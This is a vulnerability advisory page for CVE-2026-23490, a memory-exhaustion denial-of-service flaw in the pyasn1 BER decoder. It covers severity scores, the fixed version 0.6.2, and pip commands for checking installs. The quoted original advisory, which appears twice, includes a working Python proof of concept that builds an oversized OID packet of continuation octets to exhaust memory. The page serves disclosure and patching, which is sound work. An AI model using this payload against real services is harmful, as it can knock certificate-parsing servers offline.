CVE-2026-23490: Pyasn1 Denial of Service Vulnerability

Q: What is CVE-2026-23490?

CVE-2026-23490 is a security vulnerability in Pyasn1 involving pyasn1 has a DoS vulnerability in decoder under CWE-400: Uncontrolled Resource Consumption.

Q: Which Pyasn1 versions are affected?

Affected versions include releases prior to 0.6.2 across affected packages: pyasn1.

Q: What version fixes CVE-2026-23490?

Upgrading to 0.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is pyasn1 affected?

Yes, pyasn1 is affected in releases prior to 0.6.2. Upgrade your dependency to 0.6.2 or later.

Q: What is the CVSS score of CVE-2026-23490?

CVE-2026-23490 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Q: What CWE is associated with CVE-2026-23490?

CVE-2026-23490 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).

Q: How can I check PyPI dependencies for CVE-2026-23490?

Run the dependency tree command: 'pip show pyasn1'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-63vm-454h-vhhq

CVSS 7.5

CWE-400 CWE-770

Published 2026-01-16

Advisory Summary

CVE-2026-23490 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Pyasn1 libraries in the PyPI ecosystem. The issue involves pyasn1 has a dos vulnerability in decoder. Remediation is available by upgrading affected packages to version 0.6.2.

CVE-2026-23490 at a Glance

CVE Identifier CVE-2026-23490

GHSA Identifier GHSA-63vm-454h-vhhq

Severity HIGH

CVSS v3.1 Base Score 7.5

CWE Classification CWE-400: Uncontrolled Resource Consumption

Affected Product Pyasn1

Package Ecosystem PyPI

Published Date 2026-01-16

Last Updated 2026-08-14

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

How to Fix CVE-2026-23490

To remediate this vulnerability, upgrade all affected Pyasn1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyasn1 fixed: 0.6.2

pip install pyasn1>=0.6.2

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyasn1

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-23490, inspect your installed packages using pip:

pip show pyasn1

Analyze the terminal output to locate any version of Pyasn1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.2), your application is affected.

Note: The pip show pyasn1 command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Pyasn1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder.

CVE-2026-23490 Affected Pyasn1 Versions

1 component(s)

Fixed Versions:

0.6.2

Product / Package	Ecosystem	Affected Versions	Fixed Version
pyasn1 pypi/pyasn1	PyPI	≥ 0.6.1 < 0.6.2 All 1 versions 0.6.1	0.6.2

References

GitHub Advisory / Wiki ADVISORY

https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq

NVD — CVE-2026-23490 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-23490

Security Fix Commit FIX COMMIT

https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6

Security Fix Commit FIX COMMIT

https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4148

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4147

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4146

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4145

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4144

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4143

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4142

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4141

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4140

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4139

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:4138

access.redhat.com/errata/rhsa-2026:39... WEB

https://access.redhat.com/errata/RHSA-2026:39894

access.redhat.com/errata/rhsa-2026:39... WEB

https://access.redhat.com/errata/RHSA-2026:3959

access.redhat.com/errata/rhsa-2026:39... WEB

https://access.redhat.com/errata/RHSA-2026:3958

access.redhat.com/errata/rhsa-2026:23... WEB

https://access.redhat.com/errata/RHSA-2026:2302

access.redhat.com/errata/rhsa-2026:41... WEB

https://access.redhat.com/errata/RHSA-2026:41928

access.redhat.com/errata/rhsa-2026:42... WEB

https://access.redhat.com/errata/RHSA-2026:42644

access.redhat.com/errata/rhsa-2026:49... WEB

https://access.redhat.com/errata/RHSA-2026:4943

access.redhat.com/errata/rhsa-2026:54... WEB

https://access.redhat.com/errata/RHSA-2026:54757

access.redhat.com/errata/rhsa-2026:56... WEB

https://access.redhat.com/errata/RHSA-2026:5606

Pyasn1 Security Information SECURITY

https://access.redhat.com/security/cve/CVE-2026-23490

bugzilla.redhat.com/show_bug.cgi WEB

https://bugzilla.redhat.com/show_bug.cgi?id=2430472

GitHub Advisory / Wiki ADVISORY

https://github.com/advisories/GHSA-63vm-454h-vhhq

Pyasn1 Source Repository REPOSITORY

https://github.com/pyasn1/pyasn1

Pyasn1 Source Repository REPOSITORY

https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496

Pyasn1 Release RELEASE

https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2

Pyasn1 Source Repository REPOSITORY

https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml

lists.debian.org/debian-lts-announce... WEB

https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html

pypi.org/project/pyasn1 WEB

https://pypi.org/project/pyasn1

Pyasn1 Security Information SECURITY

https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json

access.redhat.com/errata/rhsa-2026:23... WEB

https://access.redhat.com/errata/RHSA-2026:2300

access.redhat.com/errata/rhsa-2026:22... WEB

https://access.redhat.com/errata/RHSA-2026:2299

access.redhat.com/errata/rhsa-2026:22... WEB

https://access.redhat.com/errata/RHSA-2026:2221

access.redhat.com/errata/rhsa-2026:19... WEB

https://access.redhat.com/errata/RHSA-2026:19712

access.redhat.com/errata/rhsa-2026:19... WEB

https://access.redhat.com/errata/RHSA-2026:1906

access.redhat.com/errata/rhsa-2026:19... WEB

https://access.redhat.com/errata/RHSA-2026:1905

access.redhat.com/errata/rhsa-2026:19... WEB

https://access.redhat.com/errata/RHSA-2026:1904

access.redhat.com/errata/rhsa-2026:19... WEB

https://access.redhat.com/errata/RHSA-2026:1903

access.redhat.com/errata/rhsa-2026:17... WEB

https://access.redhat.com/errata/RHSA-2026:17611

access.redhat.com/errata/rhsa-2026:17... WEB

https://access.redhat.com/errata/RHSA-2026:17595

access.redhat.com/errata/rhsa-2026:17... WEB

https://access.redhat.com/errata/RHSA-2026:17446

access.redhat.com/errata/rhsa-2026:14... WEB

https://access.redhat.com/errata/RHSA-2026:14020

access.redhat.com/errata/rhsa-2026:13... WEB

https://access.redhat.com/errata/RHSA-2026:13553

access.redhat.com/errata/rhsa-2026:13... WEB

https://access.redhat.com/errata/RHSA-2026:13545

access.redhat.com/errata/rhsa-2026:13... WEB

https://access.redhat.com/errata/RHSA-2026:13512

access.redhat.com/errata/rhsa-2026:13... WEB

https://access.redhat.com/errata/RHSA-2026:13508

access.redhat.com/errata/rhsa-2026:37... WEB

https://access.redhat.com/errata/RHSA-2026:37275

access.redhat.com/errata/rhsa-2026:33... WEB

https://access.redhat.com/errata/RHSA-2026:3359

access.redhat.com/errata/rhsa-2026:33... WEB

https://access.redhat.com/errata/RHSA-2026:3354

access.redhat.com/errata/rhsa-2026:30... WEB

https://access.redhat.com/errata/RHSA-2026:30088

access.redhat.com/errata/rhsa-2026:28... WEB

https://access.redhat.com/errata/RHSA-2026:28042

access.redhat.com/errata/rhsa-2026:27... WEB

https://access.redhat.com/errata/RHSA-2026:2758

access.redhat.com/errata/rhsa-2026:27... WEB

https://access.redhat.com/errata/RHSA-2026:2712

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:24977

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:24866

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:2486

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:2483

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:2460

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:2453

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:24483

access.redhat.com/errata/rhsa-2026:24... WEB

https://access.redhat.com/errata/RHSA-2026:24476

access.redhat.com/errata/rhsa-2026:23... WEB

https://access.redhat.com/errata/RHSA-2026:2309

access.redhat.com/errata/rhsa-2026:23... WEB

https://access.redhat.com/errata/RHSA-2026:2303

Frequently Asked Questions

What is CVE-2026-23490?

CVE-2026-23490 is a security vulnerability in Pyasn1 involving pyasn1 has a DoS vulnerability in decoder under CWE-400: Uncontrolled Resource Consumption.

Which Pyasn1 versions are affected?

Affected versions include releases prior to 0.6.2 across affected packages: pyasn1.

What version fixes CVE-2026-23490?

Upgrading to 0.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.

Is pyasn1 affected?

Yes, pyasn1 is affected in releases prior to 0.6.2. Upgrade your dependency to 0.6.2 or later.

What is the CVSS score of CVE-2026-23490?

CVE-2026-23490 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

What CWE is associated with CVE-2026-23490?

CVE-2026-23490 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).

How can I check PyPI dependencies for CVE-2026-23490?

Run the dependency tree command: 'pip show pyasn1'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-63vm-454h-vhhq",
  "modified" : "2026-08-14T15:32:04Z",
  "published" : "2026-01-16T19:19:25Z",
  "aliases" : [ "CVE-2026-23490" ],
  "summary" : "pyasn1 has a DoS vulnerability in decoder",
  "details" : "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyasn1"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.6.1"
      }, {
        "fixed" : "0.6.2"
      } ]
    } ],
    "versions" : [ "0.6.1" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4148"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4147"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4146"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4145"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4144"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4143"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4142"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4141"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4140"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4139"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4138"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:39894"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:3959"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:3958"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2302"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:41928"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:42644"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:4943"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:54757"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:5606"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-23490"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-63vm-454h-vhhq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyasn1/pyasn1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/pyasn1"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2300"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2299"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2221"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:19712"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:1906"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:1905"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:1904"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:1903"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17611"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17595"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17446"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:14020"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13553"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13545"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13512"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13508"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:37275"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:3359"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:3354"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:30088"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:28042"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2758"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2712"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24977"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24866"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2486"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2483"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2460"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2453"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24483"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24476"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2309"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:2303"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-16T19:19:25Z",
    "nvd_published_at" : "2026-01-16T19:16:19Z"
  }
}

CVSS V3

7.5 HIGH

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Advisory Metadata

Source ID: GHSA-63vm-454h-vhhq
Schema Version: 1.4.0
Published: 2026-01-16 19:19
Last Modified: 2026-08-14 15:32
Database Record File: advisories/github-reviewed/2026/01/GHSA-63vm-454h-vhhq/GHSA-63vm-454h-vhhq.json